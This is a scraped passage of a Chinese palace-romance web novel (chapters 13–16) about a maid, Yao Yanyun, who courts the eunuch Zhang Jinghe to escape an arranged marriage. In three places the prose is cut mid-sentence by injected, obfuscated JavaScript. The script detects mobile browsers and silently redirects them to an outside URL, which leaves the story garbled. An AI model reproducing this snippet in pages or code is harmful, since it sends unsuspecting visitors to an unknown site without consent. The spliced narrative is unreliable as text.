今日她恰好在西华门附近办事,抬眼便撞见正准备出宫的蓝砚舟。 蓝砚舟隔着几步远瞧见她,眉眼先弯了起来,步履也放轻了些,“姚姑娘,你这身子好些了没有。” 姚砚云道,“你这药还真有效果,我喝了四剂,感觉人舒服多了,再也不似前些天那般提不起劲。” “那我改日再给你开点。”,蓝砚舟道,“明日还是这个时辰,在这里等怎么样。” 姚砚云连忙摆手,“蓝太医,不必麻烦了,我那儿还剩三剂没喝完呢。”,宫里的奴才得病了,是没资格用太华贵的药材的,要用的话得从自己的月钱里面扣,她其实也没什么病,就是前段时间熬夜画那画集,没休息好才这样的。 “那个,那个我不收你的钱......”,蓝砚舟诚恳地道,“你和仲和是好友,我和仲和也是好朋友,那自然不能收你的钱。” “仲和离宫前,其实有和我提一嘴你的事情,让我多多关照你,所以......所以姚姑娘你不用客气。” 姚砚云又是听得云里雾里的,这仲和到底是谁?听蓝砚舟的意思,她的原身经常和这个仲和拿药,难不成是身体有什么毛病? 她决定从蓝砚舟身上套套话,看看她的原身,究竟为何总是要找那仲和拿药。 于是她问,“是啊,想想日子过的也是挺快的,转眼间仲和就离开太医院有半年了,也不知道我这病什么时候是个头。” 蓝砚舟道,“姚姑娘,你莫担忧,你这不是什么大病,仲和这些年给你开的,只是些补身子的药材而已。” 姚砚云听完松了一口气,“也是也是,是我想太多了,那就谢谢蓝太医你了。” “姚姑娘你客气了。”,蓝砚舟抬头看了眼前方,想起自己手上的事还没做,又对姚砚云道,“姚姑娘,明日这个时间段,我给你拿药。我还有些事,就先告辞了。” 之后姚砚云又回去了宫房,回去喝了口茶,刘公公手下的一名小火者过来和她说,刘公公要请她过去值班房一趟。 姚砚云心想着,应该是那画集的事情有了着落了,立马往那边赶去了。 “三百两!这么多。”,姚砚云听说自己的画的《云深集》竟然卖了这么多钱时,惊讶的下巴都快收不回来了。 “一人一半,这是你的银票。”,刘公公把一张银票递给姚砚云。 姚砚云看着这银票心里乐开了花。 姚砚云道,“公公,我还有一事想找您帮忙。” 刘公公道,“你说说看。” “公公实不相瞒您,我画这《云深集》是为了赚点钱,给张景和张公公送礼,我有很重要的事情想求他帮忙。”,姚砚云一脸诚恳道,“我想委托您出宫,帮我买一样能讨张公公欢喜的礼物。” 刘公公道,“你想送什么,预算多少钱呢。” 姚砚云道,“玉质的猫摆件,预算一百两。” 刘公公噗嗤笑了一声,“你这一百两怕是买不到张公公喜欢的,张公公是什么身份,他又在御前伺候多年,什么样的奇珍异宝没见过?寻常玉摆件,他库房里堆得都能当镇纸用,哪会把这个放在心上。” “你可想好了?花出去的钱可就回不来了。” “所以啊刘公公,这就是我找你帮忙的原因。”,姚砚云解释道,“虽然这一百两买不到顶级的好玉,只是想求公公费心,帮我挑个样式讨喜的,最好是圆乎乎憨态可掬的小猫模样的。” 姚砚云之所以想送猫摆件,是因为那日在树荫下看到张景和在逗猫,想着他是个爱猫之人,为了更确认这一点,她还有意无意地问了吉祥,吉祥虽严厉地教训了她,不可打听张景和的私事,但至少她问出了张景和曾经是养过猫的,所以,给他送猫的摆件是不会错的。 刘公公道,“行,我稍后就会出宫一趟,有合适的话,我再和你说。” 姚砚云道谢之后,就退出了值班房。 她一路上心情大好,几经思考过后,眼神渐渐变得坚定,她想着今晚倒是该再去一趟那傻逼太监的公所,先探探他的口风。 ______________ 姚砚云刚踏进屋内,就被屋内情景吓得浑身一僵,她几乎是本能地往后缩,转身就要往外走。 “你给我站住。” 冷冽的声音像冰锥般砸在身后,姚砚云的脚步硬生生顿住。 她听见身后传来布料摩擦的轻响,张景和放下了那条浸满暗红血迹的毛巾,而方才还在帮他擦拭脸颊的吉祥,也瞬间停了手,垂着的手悄悄往身后缩了缩。 “公、公公……您这是……”,姚砚云的声音发颤,头埋得更低。 这傻逼太监不会杀人了吧!他的脸上脖子上,衣服上全是血迹,姚砚云此刻巴不得自己会遁地术,想马上离开这里,她虽没抬头,但总感觉到后方之人正用着灼人的目光锁着自己。 这傻逼太监不会连她一起杀吧...... “公公,没什么事的话,我就先走了。”,话还没说完,姚砚云脚下已经悄悄往后挪了半寸。 “急什么?”张景和的声音里添了几分戏谑,“来都来了,你不是总说要伺候我吗?正好,过来帮我净脸。” 姚砚云心里咯噔一下,刚想推脱自己笨手笨脚,还是让吉祥来更妥当,可眼角余光扫过,才发现吉祥早已没了踪影...... 只剩满室的血腥味萦绕。 见她迟迟不动,张景和的语气瞬间冷了几分,带着不容置疑的压迫,“怎么?你不愿意?” 姚砚云这会儿才缓缓抬起了头,敞亮的烛光斜斜打在对面人身上,将眼前之人映得如同刚嗜完血的鬼魅,他的鬓角一处还凝着暗红血珠。 姚砚云胆战心惊地走了过去,对上了张景和那双淬了毒似的眼。 那股浓烈的血腥味直往鼻腔里钻,让她胃里翻江倒海,只想作呕。 铜盆里的清水晃了晃,姚砚云将毛巾浸进去,此时寂静的屋内只剩下水声,刚拧干要递过去帮他净脸,就听见张景和忽然低笑出声,那笑声里带着说不出的阴寒。 “只是个五品的芝麻小官,竟然不要命敢去贪污赈灾款。”,张景和的声音轻飘飘的,像是在说一件无关紧要的小事,他的指尖在她的手背上敲了一下,“姚砚云,我身上这摊血就是那人身上的。” 话音未落,他忽然俯身,温热气息扫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325954|183218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过姚砚云耳后,“猜猜他怎么死的?”,张景和的声音像浸了冰一般,黏在姚砚云耳后。 姚砚云握着毛巾的手猛地一抖,“犯、犯法的人,自然……是该该死的。”,说完,她不敢再多看张景和一眼,慌忙垂下眼,拿着毛巾的手僵硬地凑过去,小心翼翼地擦拭他脖子上的血迹。 “审问他的时候,那人还好好的,我就说了句,秋后处决,那老东西竟像疯了一般,一把夺过侍卫的佩刀,就往脖子上划。”,张景和的指尖在颈侧虚虚一抹,“也是怪我,和他走那么近做什么?当时他大动脉上血奔涌而出,得有三尺高,把我身上搞的乱七八糟的。” 话音刚落,又蓦然攥住姚砚云帮他擦拭的手,“你说说,我现在身上是不是很恶心?” 姚砚云吓的猛地抽手后退,脚下被铜盆绊了个趔趄,之后整盆水“哐当”砸在地上,水花四溅。 这傻逼太监和她说这些做什么?是想故意恐吓她?让她以后不再来找他?还是在炫耀他作为一名上位者,可以随时要别人的命,也可以随时要了她的命,姚砚云想到着这些连气都不敢出了。 “公公恕罪!公公恕罪。”,姚砚云膝盖“咚”地一声跪在冰凉的地砖上,慌忙伸手去捡铜盆,地下洒下的一滩水,她眼尖地扫过四周,没见着有抹布,情急之下撩起自己的袖口去擦。 张景和看到这些,满意地笑了。 “姚砚云,你说说那人该死不该死。” 姚砚云此时已经把那水渍擦干净了,站在了一旁,“公公为人民除害,那人该死的。” 张景和道,“可是那人本来还可以活多几天的,是我刑讯逼供,他受不了苦才自杀的。” 姚砚云算是听出来了,这傻逼太监就是想吓唬她,通过这一番,想让她不再踏足他这边。 “公公,我觉得您做的对。”。姚砚云露出了进屋后的第一个微笑。 张景和道,“哦?怎么个对法?” 姚砚云清了清嗓子定了定神,“公公是圣上跟前信任的近侍,您经手的事,自然是代表着皇上的心意。” 她顿了顿,偷瞄了眼张景和的神色,见他没动怒,才继续道:“自当今圣上即位,这天下早已是海晏河清,小云虽久居深宫,但也曾听过别人议论,在圣上的执政下,街头再无流离的乞丐,田埂上多了耕作的农人,偏远州府也能听到孩童读书声了。百姓能安居乐业,不正是因为朝廷执法严明,容不得半分徇私枉法吗?” “而连赈灾款都敢克扣的蠹虫,本就是蛀空江山的毒瘤,公公及时除了这祸害,是在为圣上分忧,为百姓除害,所以我觉得公公您没做错。” 姚砚云心想,这话既捧了他,又把圣上抬出来当幌子,左右都挑不出错,这马屁该是拍对了。 “精彩,实在精彩。”张景和鼓起掌来,指尖拍在掌心的声响在寂静里格外清晰,眼底却没什么笑意,“姚砚云,你这嘴皮子倒是越发利索了。” 姚砚云道,“公公,小云说的是实话。” 张景和内心郁闷极了,盯着姚砚云温顺的侧脸,心头的郁气直往上冒,他本想着,借着今日满身血污,再说些狠戾话,就能把眼前的这个无知宫女吓跑,没想到这人脸皮厚到,竟然刀枪不入。 14. 第 14 章 西华门这边的银杏正落得热闹,姚砚云和马冬梅握着竹扫帚正在扫落叶。 这日下午,蓝砚舟背着朱漆药箱经过时,他见着扫地的两人,脚步便下意识停了。 姚砚云笑问,“蓝太医这是要出宫看诊吗。” 蓝砚舟道,“去给吏部张大人看诊。” 蓝砚舟指尖无意识摩挲着药箱搭扣,目光扫过她沾了薄尘的袖口,“那我先告辞了。” “姚姑娘......” 刚走出没五步,蓝砚舟忽然停住,转身叫住了她。 姚砚云停下了扫地的动作,应了他一句。 蓝砚舟喉结动了动,有些失落地说了一句,“你,你那天失约了。” 失约?姚砚云想了好一会儿才想起是什么事,原来那日约定好和蓝砚舟拿药,自己把事给忘记了。 她拍了下额头,带着歉意,“蓝太医,实在对不住,我把这事情给忘了。” 蓝砚舟脸上露出了一丝笑意,“不打紧,明日还是这个时间点,我给你拿过来。” 姚砚云道,“行,那就谢谢蓝太医了。” 等蓝砚舟走后,姚砚云问马冬梅,“冬梅,蓝太医之前和我很熟吗?” “我记得你和一个叫仲和的太医,挺熟的,这蓝太医我倒是没什么印象。” 姚砚云“哦”了一声。 “冬梅姐姐,砚云姐姐,你们在这里啊。”,一个叫春儿的十五岁宫女,气呼呼地跑了过来。 “冬梅姐姐,姑姑让你把这边的事情做完,叫上小欢,啊彩她们两人找她一趟。” 马冬梅应了一声。 春儿又对姚砚云道,“姑姑说,等你把这边的活干好了去花房一趟,有东西要你拉回来。” 姚砚云点了点,等春儿走后,她和马冬梅加快了动作扫这边的落叶。 入秋后,先前还攒着半树青碧的梧桐、银杏,如今早被秋阳浸透了,风轻轻一吹,那些黄透了的叶子便顺着风势往下落,不是一片两片地飘,是成团成簇地坠。 这时有几片鹅黄的叶片落在了姚砚云的肩头,她仰头看着数枝桠间漏下的碎光,散落下来的几根发丝,随着她着歪头的动作轻轻摇晃。 她促狭一笑,看着马冬梅身侧的那棵树,对着树干轻轻一踢,那银杏叶便成团成簇往下落,粘在了马冬梅的鬓角和衣领。 马冬梅气得跺了跺脚,眼底却闪着笑,也去摇姚砚云身下的那棵,一瞬间姚砚云身上头上也布满了落叶。 宫墙下的风裹着叶香掠过,两个身影在满地碎金般的落叶里追打,银铃似的笑声倒让这肃穆的宫苑添了几分活气。 西华门这边的事搞好后,姚砚云就去了花房那边。 刚走到花房朱漆大门前,她就闻到了一阵清香的鲜花味,是新剪的栀子混着晚菊的味道,顺着半开的门缝漫出来,花房外有几个宫女正推着木车搬运花卉。 她见掌事太监时,对方正核对入库的茉莉。姚砚云说明是来取东西的,又递过盖了红印的单据。太监扫了眼单据上的花名,扬声喊来个小宫女,“领着姚姑娘去西廊装车。” 装完满满一车后,姚砚云就起身拉着车走了,谁知刚走出花房,忽然听见东侧小亭传来争执声,只见亭柱旁立着两个穿青色圆领袍的太监,袍角下摆随意耷拉着,正一前一后堵着个宫女。 再定睛一看,姚砚云的心猛地一沉,被堵之人竟是巧慧! 听不清巧慧在说这些什么,只听到她的哭腔,和身子不住往后缩,可那两个太监却得寸进尺,那个矮胖些的,伸手就去扯她的衣袖。 “巧慧啊巧慧,你在这里作甚!姑姑四处找,等下有得你罪受了。”,姚砚云一脸动怒地样子,说完伸出手,猛地将人从太监臂弯里拽了出来。 “大胆!你是何人,竟然敢扰了本公公的兴致。”,说话这太监身材如竹竿,说话时眯着一双眼。 姚砚云解释道,“公公,您是不知道啊,这巧慧啊总是偷偷跑出来偷懒,我现在啊,带她回去给我们的掌事姑姑,打她几板子她就老实了。” 话毕,拉着巧慧就要走。 “无妨,现在我也有事安排给巧慧做。”,那公公这会儿才认真打量起来姚砚云,只见对面之人,虽穿着最素净的灰布宫服,鬓边只簪了支木簪,面部肌肤莹白如刚剥壳的荔枝,透着淡淡的粉晕,嘴角带着点若有若无的笑意,看的他心都酥酥麻麻的,方才的火气竟消了大半。 “你叫什么名字?你可以知道我是谁?”,那公公说着,竟伸手去拉姚砚云的手腕,指腹还带着些粗糙的茧子,眼里的笑意黏黏糊糊的。 姚砚云吓的赶紧收回了手,“公公,我们就不打扰你了。” 拉着巧惠刚一转身,就被两人围了起来。 他们打量着姚砚云和巧慧身上洗得发白的宫服,又见两人发间连点像样的头饰都没有,心里便有了数,她们定是最底层的杂役宫女,没背景没靠山,最是好欺负。 他嗤笑一声,三角眼眯得更紧:“急什么?陪咱家说说话,少不了你们的好处。” 另外一位国字脸,身材矮胖的太监也说话了,“美人,和哥哥们说说话,好不好?” 姚砚云哀求道,“两位公公,这可是宫里,要是事情闹大了,大家都是要吃板子的,你们行行好,放我们两人走吧,我们还得回去当差呢。” 那太监笑了一声,“呵呵,怕什么!你要是个识相的,看我们两这身衣服,就应该知道我们是什么身份。” 姚砚云并不知道穿青色圆领袍的太监是什么等级,但从他们两人的口气听来,想必是有点权势的太监。 “美人,聊聊天你都不愿意呀。”,说完伸手去抚摸她的发丝。 姚砚云大声呵斥,“大胆!你们可知道我是谁?” 两太监同时笑出了声,“你不就是宫里最低等的宫女吗。” “呵呵,我是张景和公公的人,你们不会不要命了吧。”,姚砚云咽了咽口水,“想死的话,就尽管来吧。” 那高瘦太监道,“我可从未听说过张公公在宫里有对食啊,就你?你这样的人搭的上张公公?” 姚砚云冷笑一声,“哼,那你就尽管来吧,等你人头落地那天, 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姚砚云心想,以前欠她的人情,今日算是还给她了吧。 翌日,姚砚云如约来了西华门附近的凉亭。 因上次失约,她有些小愧疚,这次特意提前了一刻钟来,没想到蓝砚舟人早已经在这边等着了。 见姚砚云来,蓝砚舟从石凳上起了身。 “姚姑娘。”,蓝砚舟把身旁一个大布包递给了姚砚云,“你拿着。” 姚砚云接过,说了一句谢谢。 “这个绿豆糕是给你的。”,姚砚云把一食盒递给蓝砚舟,“谢谢你的药,你既然不收我的钱,那这些糕点请你一定要收下。” 蓝砚舟面露喜色,“姚姑娘,这些是你亲自做的吗?” 姚砚云不好意思地笑了笑,“不是,我的好朋友冬梅做的。” 蓝砚舟神色略失望,他打开食盒,一股绿豆的清香随即扑进他的鼻腔,“好香啊,谢谢你姚姑娘,也替我谢谢冬梅姑娘。” “姚姑娘,我这次是给你开了三天的补药,都是和之前一样的食用方法。” “我这次还加了一味药进去,会比较苦,你要是实在怕苦,喝的时候就捏着鼻子,一口气把它灌下去。” 姚砚云点了点头。 此时凉亭处,陆陆续续有一些太监和宫女经过,蓝砚舟怕两人待在此处会遭人非议,便和姚砚云告了辞。 姚砚云也懂,转身轻步走下凉亭台阶。 “姚姑娘。” 蓝砚舟的声音又传了过来。 姚砚云转身,“蓝太医,怎么了。” 蓝砚舟道,“三日后,还是这个地方,这个时间,我给你拿药。” 姚砚云心想,为何不一次把一个月的补药都开了,非得几天几天的开,但转念一想,会不会是他给她的补药是偷宫里的,一次性拿太多,会被发现?应该就是这样了。 “好啊。”,姚砚云回了一句。 15. 第 15 章 “姚姑娘,刘公公让我和你带个话。你上次说的那事,他出宫帮你问了,小猫摆件的话,在玉器行倒是瞧着几款上好的羊脂玉做的,雕工也精细,就是价格实在不便宜,最便宜的都要七百两。” “刘公公给你的主意是,不如买一款蓝田玉材质的玉佩,也是小猫的形状,料子温润,样子也讨喜,价格却实惠得多,只要九十两。”,那公公说完,又从袖口掏出一张图纸递给姚砚云,“大概是这样,您看看。” 姚砚云接过来一看,是一只胖胖小猫,正趴着睡觉的款式。 “就它了。”,姚砚云笑了笑,接着又回去给那公公拿银票。 她心想着,这段时间,得想办法和张景和走得近一些,只要对方不赶她出来,帮他捶背按摩,端茶倒水,她都愿意做,定要在陈忠义回来之前,把这指婚给取消了。 想着这些事,姚砚云不自觉出了神,马冬梅叫了她好几句,她才反应过来。 马冬梅道,“鞋子快要做好了,砚云你要看看吗。” 姚砚云问,“什么鞋。” 马冬梅白了她一眼,“你说呢?当然是给张公公的鞋啊。” 姚砚云恍然大悟般“哦”了一声,“那拿出来看看。” 马冬梅下了床,走到一个木柜子前拿了一双鞋子出来,“你看看,我故意把鞋底纳得比寻常鞋子厚半指,鞋底中间还用棉线勒了。” 姚砚云一下子就会意了,“这样即便站久了,脚心也不会酸涨,很合适张公公这种在御前伺候的人。” “冬梅,你也太全能了,会做各种样式的糕点不说,还会做鞋子。”,姚砚云说完,一下子抱住了她,“有你真好。” 马冬梅“哼”了一声,“以后我可不会帮你了,累死人了。” “要说到才艺,我可比不上你。”,马冬梅脸上好奇的表情,“你咋会画这些玩意的,你老实说来。” “在德妃宫里看过几眼,一下子就被我记住了。”,姚砚云阴险地笑着,“冬梅,你似乎很感兴趣。” 马冬梅把脸转了过去,“我就是问问,你别瞎想。” “哐哐哐~” “哐哐哐~” 两人听到敲门声,随即停住了打闹。 “进来。” 木门被缓缓打开,定晴一看,竟然是巧慧和啊芳。 “我,我是来和你道谢。”,巧慧神色有些不自然地看着姚砚云。“那天谢谢你救了我。” 啊芳站在巧慧身后,时不时偷偷探出头,偷瞄姚砚云。 四人面面相觑,场面一下子冷了下来。 “来都来了,杵门口干嘛,来喝杯茶?”,姚砚云两只手分别勾住两人的脖子,把人拉了过来。 马冬梅一脸欢喜给啊芳和巧惠倒了茶,“就是就是,大家一起喝茶呗。” 喝着茶,四人渐渐聊了起来。 “那天我从花房西侧的小道经过时,也不知道怎么了就招惹到了那两个无赖,我见他们两个穿的是青色圆领袍,又不敢去反抗。”,巧慧说着说着,声音有些哽咽了起来,“而且其中一位,已经不止一次纠缠我了。” “昨日我又遇到那人,他竟然和我道歉了,说以后不会在纠缠我。”,巧慧顿了顿,脸上露出了一丝笑意,“姚砚云,总之,总之,那天真的谢谢你。” 姚砚云一把握着巧慧的手,眼神里满是真切,“巧慧,你谢谢我,我也谢谢你。” “谢谢你愿意原谅我,以前的事,的确是我做错了,我认真地向你,和啊芳说一句对不起。” 这话一出口,啊芳先惊得瞪大了眼,手里刚端起的茶盏都晃了晃,“姚砚云,你不会是鬼上身了吧?这还是你?” 姚砚云被她这话逗笑了,眼底却仍带着几分认真,“如假包换!假一罚十。” 巧慧道,“没想到你和张公公有这么深的交情。我记得你以前在德妃宫里当差时,还和张公公有过矛盾。” 姚砚云有些心虚,“也没多深的交情,就是,就是普通朋友。”,她怕巧慧再追问,连忙转移话题,“对了,我和张公公有什么矛盾,你还记得吗?” 巧慧道,“你自己做的事,还来问我啊。” 姚砚云道,“我是记得有这么个事,我前段时间落了一次水,好些事情不记得了,所以来问问你们。” 巧慧道,“具体的我也不清楚,只听宫里的姐姐们闲聊时提过一嘴,说你和张公公闹得不太愉快。” “你记得吗?”,姚砚云又转头去问啊芳。 啊芳道,“不记得了。” 自这天之后,四人之间的冰壳像是被暖阳化开了。 巧慧和啊芳时常会在干完活后,找姚砚云和马冬梅待在一处,有时是在廊下晒着太阳聊宫里的趣事,有时是凑在一块儿分几块点心,偶尔也会把压在心底的烦心事说出来。 一来二去,从前的生分渐渐散了,取而代之的是日渐熟稔的笑语。 ———————— “干爹,既然宫里的太医不行,就试试其他大夫,我先前和您说的那位圣手,要不,我请他过来。”,张景和扶着冯大祥正在院子中散步。 冯大祥道,“哎,就算是华佗转世也没用了,年纪到了,就该认命,我也懒得折腾了。” “万岁爷记挂着您呢。”,张景和道,“干爹您得快点好起来。” “我何尝不想早点回宫伺候万岁爷呢。”,冯大祥叹了一口气,又问张景和,“最近万岁爷和皇后娘娘还好吧。” 一提到这事张景和就头痛,自冯大祥出宫修养这段时间,皇后那边只要皇上有一丝风吹草动,都会叫上他去坤宁宫问上个几句,皇后每次提问的问题之毒辣,让他想起来都冒冷汗,什么皇上和懿嫔晚上有无做出格之事,皇上最近的心思是什么,他又不是皇上肚子里的虫,他那里知道啊。 张景和不得不佩服冯大祥,在宫中十几年来能从容应对皇后,还能得到她的赞赏。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325956|183218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>绕着院子走了一圈后,冯大祥的额头就布满了豆大的汗珠,张景和拿着帕子就要擦拭,冯大祥却像小孩子般道,“谁要你擦,我要你干娘来。” “老不正经的东西!”,一位穿着石青色暗纹绸褙子,深褐色马面裙,端庄美丽的妇人端着果盘笑盈盈从连廊处走了过来。 此人是和冯大祥相伴多年的妻子—芸娘。 芸娘掏出袖口处的帕子,帮冯大祥的擦干净了额头上的汗。 “干娘。”,张景和叫了一句。 “好了,你们两个也别杵着了,过来吃水果。”,芸娘吩咐两个丫鬟把切好的一大盘子鸭梨,和一篮子柑橘一篮子龙眼拿了出来。 水果摆上来后,云娘示意两丫鬟退下,丫鬟才走了两步,芸娘又叫住了两人,“你们是江南人吧,给你们几个柑橘,这柑橘你们江南进贡的,很甜。” 两丫鬟拿到柑橘后,开开心心地退下了。 “吃吧,玄英。”,芸娘拿起一个柑橘给张景和。 冯大祥有四个干儿子,四人皆为司礼监执笔太监,冯大祥故而给四人取了名号,分别为,青阳,朱明,白藏,玄英。 在御前就唤他们为公公,私底下就叫名号。 “玄英,我说你年纪轻轻的,真不给自己找一个吗?”,芸娘一脸慈爱地笑了起来,“有个人在你身侧嘘寒问暖,总归是不一样的,你下值回来,廊下的灯替你留着,灶上温着热汤;你心情郁闷时,也有个能说体己话的,哪怕只是听着你叹口气,也比独自对着空屋强,这是多好的事啊。” 张景和正用茶筅搅动着碗里的残茶,似笑非笑,“没这个想法。” “哎呦,可是我怎么听说最近有个漂亮小宫女,三天两头往你那公所里钻?不是送点心,就是递热茶,殷勤得很。”,冯大祥意味深长地笑了笑。 张景和搅茶的动作顿了顿,语气里添了几分无奈,“干爹,定是陈秉文又在你面前嚼舌根了吧,你别理他。” 冯大祥道,“要是小宫女没去你公所,青阳能嚼你舌根。” “干爹,真没有的事。”,张景和放下茶筅,双手交叠放在膝上,神色无奈得很,像是被说急了,却又没处辩解。 芸娘的眼睛一下子就亮了起来,像是发现了什么稀罕事,她拍了拍张景和的手背,“你紧张啥,这是多好的事,她多大啦?到年纪出宫了吗?出宫后带给干娘看看,干娘帮你把把关。” 张景和:...... 芸娘开始叮嘱起来,“你听干娘的话,待人接物得有分寸,该板着脸立规矩的时候,就别含糊,可不该板着脸的时候,也得露几分笑容。就比如说,面对青阳说的那个漂亮小宫女,你就多笑笑,别总摆着张冷脸,吓着人家姑娘家。” 张景和:...... 芸娘见他不说话,又笑着说了句,“我还真想见见她,那小宫女定是个好姑娘。” 张景和心想,的确是个好姑娘,好的我想扒了她的皮! 16. 第 16 章 姚砚云打听到张景和今晚会在公所,她忙完了自己手里的活后,就在公所外候着了。 远远望见那道熟悉的身影晃过来,她立刻快步迎上去,声音里带着几分刻意的温软,“公公,小云来帮你按摩了。” “今晚不需要,你回去吧。”,张景和平静地说了一句,连眼皮都没抬一下。 姚砚云只能厚着脸皮跟了上去,她默默地跟在张景和的身后,许是张景和正琢磨着事,直到姚砚云跟着他进了院子,他才发现这个不要脸的女人,竟然跟了进来。 “姚砚云,你没事总是往我公所里跑做什么?”,张景和道,“你要是实在闲得慌,可以拿个扫帚去把整个紫禁城的宫道都打扫一遍。” 这傻逼太监莫不是失忆了?他以为自己愿意往这边跑啊,她还不是看到他那张死人脸就烦,既然嫌烦就帮忙把名单撤下来啊,这样大家皆大欢喜。 姚砚云依旧是谦卑地笑着,“公公,我帮您打扫一下这屋子吧。” 张景和道,“不用,请你出去。” “公公......我。” “出去!” “哦。” 姚砚云垂头丧气地走了出来,这傻逼太监真的一点都不近人情,她心想,明明已和他周旋了将近一个月了,两人的关系还是那么僵硬,按照这个进度下去,取消指婚,得等到什么时候啊! 想着想着,她又调头回了屋内。 “你又回来做什么?”,张景和此时已经有了些许的怒意。 姚砚云道,“小云想着,来都来了,还是帮公公按个头再走吧。” 张景和见姚砚云脸上,浮现出不甘和些许急迫的神色,他心想,姚砚云看来是很急切想与那陈侍卫撇清关系了,既然她那么想,那他就偏不如她的愿! “姚砚云,你死心吧,那份名单我撤不下来。”,张景和随即又笑道,“你啊,就从了陈侍卫吧,你们两真是天生一对呢!我怎么好做这种棒打鸳鸯的事呢。” “你呢,也别和陈侍卫闹别扭了,出宫后就赶紧嫁给他吧!” “到了大喜的日子,你通知我一声,我给你们两口子送份大礼!” 姚砚云简直气死了,她想扇两巴掌这阴阳怪气的傻逼太监,但她不能发作,不能让对面的傻逼太监看出什么,她得忍着。 姚砚云道,“公公,您别在取笑小云了,小云和您说实话吧,我不喜欢陈侍卫,以前可能喜欢过,现在已经不喜欢了,将来也不喜欢。” 说完也不管张景和同意不同意,走到他太师椅的身后,用指腹轻轻按着他的两侧太阳穴。 张景和虽不喜欢姚砚云这个人,但不得不承认她的按摩水平很不错,每次按摩之际,他都能放松很多。 只按了一小会,张景和的头部惬意地把靠在搭脑上,双手也自然地放在两边的把手上。 姚砚云这才注意到,张景和左边的大拇指带了一枚墨绿色的玉扳指。 再细细一看他那双白净的手,白的仿佛能看见底下青色的脉络,手指指节分明,还很修长。 姚砚云心想,实在没什么好夸的,那就夸夸手吧,“公公,您的手真好看,细长细长的,衬的这扳指都好看了。” 张景和依旧是闭着眼,“大胆,这扳指是万岁爷赐给我的。” 姚砚云道,“小云说的是实话啊,您看我的手,圆乎乎的,带扳指就不好看。” “公公您看看小云的手。” 张景和直接拒绝,“不看。” “姚砚云,你这三天两头往我这边跑,你不怕惹人非议吗?”,张景和道,“我劝你啊,今晚过后就好好和陈侍卫过日子吧,别惹得他不开心了。” 姚砚云:...... 这傻逼太监真的油盐不进啊,按摩也按了,手也夸了,怎么还是这样处处针对她,姚砚云此时气的身子都抖了起来。 又恍然大悟般想了起来,还是礼没送到位啊......他那日说过的,他只收钱办事。 后面按了约有两刻钟,张景和就示意她退下了,姚砚云憋了一肚子气,回自己的宫房去了。 — 因懿嫔对芍药花的兴致已过,那一院子的花自然就被清理掉了,姚砚云和马冬梅再也不用去守夜了。 这日,姚砚云和马冬梅扫完宫道后,就被安排到太医院的一处专门嗮草药的地方来了,十几担草药要把里面的杂质挑出来。 恰好巧慧也被安排在这边挑草药了,三人自然就拿个小板凳坐在一起挑了。 马冬梅和巧慧说了,这段时间姚砚云想和陈忠义断交的事,又说了陈忠义是如何纠缠她,如何口出狂言,巧慧听完下巴都收不住。 “看来这个陈侍卫也是个宵小!竟然如此不尊重人!”,巧慧有些气愤,“砚云,你这决定是对的,要是和此人共度一生,你不知道要受多少委屈。” “那这个名单,是宫中那个公公负责的,你可是知道。” 姚砚云道,“张景和张公公。” 巧慧道,“哦,你和张公公不是很熟吗,张公公那边怎么说的。” 姚砚云心想,那个傻逼太监还能怎么说啊,他完全当不知道这个事情。 “情况比较复杂。”,姚砚云“哎”了一声,“不说这个了,走一步看一步吧。” 巧慧道,“那你出宫后有什么打算呢。” 这问题还真把姚砚云问住了,她的原身是无父无母的,这段时间她光想着巴结张景和取消指婚的事,都没认真想过将来的事,“我也不知道。” “那你呢。”,姚砚云转头去问巧慧。 巧慧羞涩地道,“我出宫后就要成亲了。”,说完两只耳朵都红透了。 “好事好事。”,姚砚云一脸笑意,“到时候我也要上桌。” “我说你们三个叽叽歪歪说什么!” 一把尖锐的声音传了过来。 “你们想挨板子吗?”,一名太监走了过来,指着三人道,“你们三个分开坐!不许靠在一起,这里这么多人,就你们三个话最多。” 姚砚云,马冬梅,巧慧:...... 就在这时,蓝砚舟步伐有些急促地走了进来。 “蓝太医,你放心,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325957|183218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 批药材今天保证可以入库。”,那公公十分恭敬地和蓝砚舟说,“有二十来个宫女呢。” “冯公公,我来就是和你说这事的,外头还有十二担药材......”,蓝砚舟道,“周公公那边安排不来人,你这边可以安排几个人,帮我一起把这些药材运回来吗。” 冯公公笑着道,“多简单的事情啊,我给你调四个宫女过去,拿个推车,搞个两三回,就差不多行了。” “三个就够了,我也跟着一起去推。”,蓝砚舟道,“今天这批药材是必须要入库的。” “行!”,话毕,冯公公就随意点了三个宫女,其中就有姚砚云。 姚砚云站起身时,蓝砚舟才知道她也在此处。 